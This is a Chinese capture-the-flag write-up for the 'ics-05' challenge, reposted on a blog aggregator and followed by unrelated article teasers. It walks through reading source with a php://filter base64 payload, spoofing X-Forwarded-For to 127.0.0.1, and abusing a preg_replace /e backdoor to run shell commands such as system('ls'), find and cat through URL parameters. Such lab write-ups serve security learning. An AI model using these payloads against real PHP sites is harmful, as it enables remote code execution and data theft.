攻防世界-ics-05(远程文件执行)

一.审题

大致浏览一下网页,发现就这边会有东西。看一下源码会不会有东西或者稍微点击一下这个页面的内容看会不会出现东西。

点击了一下这个云平台设备维护中心发现url变了,是get的方法传page参数

二.尝试漏洞类型

自己这边试了sql注入发现不是,试了SSTI模板注入也不是,试一下用伪协议

php://filter/read=convert.base64-encode/resource=index.php

这个伪协议其实就是一个文件读取编译器,我这边的语句意思是使用php带的读取器通过Base64编码读取index的源代码。

将得到的内容放到在现编译器中解码一下

三.代码审计

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}

发现开发者溜了一个洞在这里。

可以的php函数:preg_replace($pattern,$replacement,$subject)     

看英文大概可以看出应该是字符替换之类的函数,这边查了一下发现要是关于$pattern这个参数,这个参数末尾要是带有/e修饰符时,$replacement会被当成php代码执行。所以我们可以构建如下句子

preg_replace('/text/e','system('ls')','text')

这边还要一个要绕过的是需要伪造XFF为127.0.0.1————这边就使用burp suite去拦截get报文

解题:

发现可以,接下去就找flag

?pat=/text/e&rep=system('find / -name "*flag*"2>/dev/null')&sub=text

在最后面发现可以的文件flag.php,打开看一下

?pat=/text/e&rep=system('cat /var/www/html/s3chahahaDir/flag/flag.php ')&sub=text

发现没有,打开源码看一下

发现找到了.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/93090.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/93090.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Dell PowerEdge: Servers by generation (按代系划分的服务器)

Dell PowerEdge: Servers by generation {按代系划分的服务器}1. Table of 17th, 16th, 15th, and 14th Generation PowerEdge servers2. List of all PowerEdge server models including Type, CPU vendor, Generation, and Remote ManagementReferencesPowerEdge: Servers by…

Rust学习笔记(二)|变量、函数与控制流

本篇文章包含的内容1 变量与常量2 类型2.1 标量类型2.2 复合类型3 函数4 控制流4.1 分支4.2 循环1 变量与常量 在Rust中&#xff0c;使用let关键字声明一个变量&#xff0c;变量默认是不可变的。如果要声明可变变量&#xff0c;需要使用mut关键字将其声明为可变变量。 let x …

【渲染流水线】[几何阶段]-[图元装配]以UnityURP为例

【从UnityURP开始探索游戏渲染】专栏-直达 前情提要 【渲染流水线】主线索引-从数据到图像以UnityURP为例-CSDN博客 图元装配负责将离散顶点组装成完整几何图元&#xff08;如点、线、三角形、三角形条带&#xff09; &#xff08;对渲染的探索是个持续不断完善的过程&#x…

jvm有哪些垃圾回收器,实际中如何选择?

7.G1收集器一款面向服务端应用的垃圾收集器。 特点如下&#xff1a; 并行与并发&#xff1a;G1能充分利用多CPU、多核环境下的硬 件优势&#xff0c;使用多个CPU来缩短Stop-The-World停顿时间。部分收集器原本需要停顿Java线程来执行GC动作&#xff0c;G1收 集器仍然可以通过并…

多语言与隐形攻击:LLM安全防线为何被频频突破?

你是否曾以为&#xff0c;只要加装了“防火墙”&#xff0c;大型语言模型&#xff08;LLM&#xff09;就能高枕无忧&#xff1f;Trendoyl 的实际测试却让我大吃一惊&#xff1a;即便部署了 Meta 的 Llama Guard&#xff0c;攻击者还是能轻松用多语种、字符混淆&#xff0c;甚至…

分布式光伏气象站:为光伏电站的 “气象感知眼”

分布式光伏气象站&#xff1a;为光伏电站的 “气象感知眼”柏峰 【BF-GFQX】在全球能源转型的浪潮中&#xff0c;分布式光伏发电凭借其就近消纳、清洁高效的优势&#xff0c;成为能源结构优化的重要力量。而分布式光伏气象站&#xff0c;作为光伏电站的 “智慧感知眼”&#xf…

TCP与UDP:如何选择最佳传输协议

应用场景选择如果需要可靠传输&#xff0c;首选 TCP如果需要传输的数据包很大&#xff0c;也首选 TCP绝大部分的场景&#xff0c;都可以优先考虑 TCPUDP 相比于 TCP&#xff0c;最大的优点在于传输效率有些情况&#xff0c;既需要可靠性又需要性能&#xff0c;这个时候时候就需…

《Leetcode》-面试题-hot100-栈

题目列表 20. 有效的括号 简单难度 leetcode链接 155. 最小栈 中等难度 leetcode链接 394. 字符串解码 中等难度 leetcode链接 739. 每日温度 中等难度 leetcode链接 84. 柱状图中最大的矩形 困难难度 leetcode链接 题目 &#xff08;1&#xff09;有效的括号 题目 给…

GPT-5、Claude-4 同台亮相!OneEval发布全新“大模型+知识库”评测白皮书!

OneEval官网地址&#xff1a;http://OneEval.OpenKG.cnOneEval文章链接&#xff1a;https://arxiv.org/abs/2506.12577要点导读 今年4月&#xff0c;OpenKG发布“大模型知识库”融合能力评估榜单OneEval v1.0。近期&#xff0c;OpenKG在此基础上&#xff0c;组织撰写了OneEv…

【最新版】沃德云商协系统全开源+uniapp小程序

一.介绍沃德云商协是一款基于FastAdmin&#xff08;thinkphp&#xff09;Uniapp开发的“多组织”的云服务平台&#xff0c;打造总商会、总协会、总校友会、工商联等多组织无障碍沟通合作平台&#xff0c;让各大分会、各大分校友会、分组织实现轻松管理&#xff0c;线上宣传展示…

Wireshark专家模式定位网络故障:14种TCP异常深度解剖

TCP连接如同精密运转的传送带&#xff0c;每一个异常数据包都是故障的早期信号。作为网络工程师的“外科手术刀”&#xff0c;Wireshark在TCP故障诊断领域的价值无可替代。本文将通过14个真实故障场景&#xff0c;揭示如何利用Wireshark专家系统&#xff08;Expert System&…

Python Day28 HTML 与 CSS 核心知识点 及例题分析

一、HTML 布局标签&#xff08;含 H5 语义化标签&#xff09;传统布局多使用div标签&#xff0c;H5 新增语义化标签增强可读性&#xff1a;核心知识点header&#xff1a;替代div#header&#xff0c;用于页面头部&#xff08;如标题、导航&#xff09;。footer&#xff1a;替代d…

MySQL 数据库表操作与查询实战案例

MySQL 数据库表操作与查询实战案例 在数据库学习过程中&#xff0c;熟练掌握表的创建、数据插入及各类查询操作是基础且重要的技能。本文将通过实际案例&#xff0c;详细介绍 MySQL 中数据库表的设计、数据插入以及常用的查询操作&#xff0c;帮助初学者快速上手。 项目一&…

THCV215一种高速视频数据收发器,采用低电压差分信号(LVDS)技术支持高速串行数据传输,支持1080p/60Hz高分辨率传输

THCV215 是一款符合 V-by-One HS 标准的 高速视频数据收发器。THCV215和THCV216被设计为支持主机和显示器之间的视频数据传输。该芯片组可以在20MHz至100MHz的LVDS时钟频率下&#xff0c;仅通过一根差分电缆传输39bit视频数据和3bit同步数据。该芯片组有两个高速数据通道&#…

Linux 系统下 VS Code 降级至 1.85 版本教程:通过历史版本网站解决兼容性问题

一、问题背景 当前使用的 VS Code 版本为 1.102.3&#xff0c;这一版本可能是未来版本、内部测试版或 Insiders 版本&#xff0c;而目前最新的稳定版属于 1.8x 系列。由于版本过新&#xff0c;可能导致与部分插件&#xff08;如旧版 Remote-SSH&#xff09;或系统环境不兼容。…

一个基于 PyTorch 的完整模型训练流程

一个基于 PyTorch 的完整模型训练流程 flyfish训练步骤具体操作目的1. 训练前准备设置随机种子、配置超参数&#xff08;batch size、学习率等&#xff09;、选择计算设备&#xff08;CPU/GPU&#xff09;确保实验可复现&#xff1b;统一控制训练关键参数&#xff1b;利用硬件加…

ffmpeg,ffplay, vlc,rtsp-simple-server,推拉流命令使用方法,及测试(二)

一、常用命令 ffmpeg 推流命令 : ffmpeg -re -i input.mp4 -c copy -f flv rtmp://39.105.129.233/myapp/ffmpeg -re -i input.mp4 -c copy -f flv rtsp://39.105.129.233/myapp/-re 读取流 -i 输入文件 -f # 指定推流formatffplay 拉流命令 : ffplay rtmp://39.105.129.233/m…

使用行为树控制机器人(三) ——通用端口

文章目录一、通用端口功能实现1. 功能实现1.1 头文件定义1.2 源文件实现1.3 main文件实现1.4 tree.xml 实现2. 执行结果使用行为树控制机器人(一) —— 节点使用行为树控制机器人(二) —— 黑板使用行为树控制机器人(三) —— 通用端口有了上述前两节我们已经可以实现节点间的通…

DataDome反爬虫验证技术深度解析:无感、滑块与设备验证全攻略

DataDome反爬虫验证技术深度解析&#xff1a;无感、滑块与设备验证全攻略 随着网络安全威胁的不断演进&#xff0c;企业对数据保护的需求日益增强。DataDome作为业界领先的反爬虫解决方案&#xff0c;以其三层防护机制在众多知名网站中得到广泛应用。本文将深入解析DataDome的…

RabbitMQ 消息转换器详解

RabbitMQ 消息转换器详解 一、为什么需要消息转换器&#xff1f; RabbitMQ 的消息传输协议只识别字节流&#xff1a; 发送对象时&#xff0c;需要序列化成字节数组接收消息时&#xff0c;需要将字节数组反序列化成对象 如果不使用消息转换器&#xff1a; 需要手动序列化和反序列…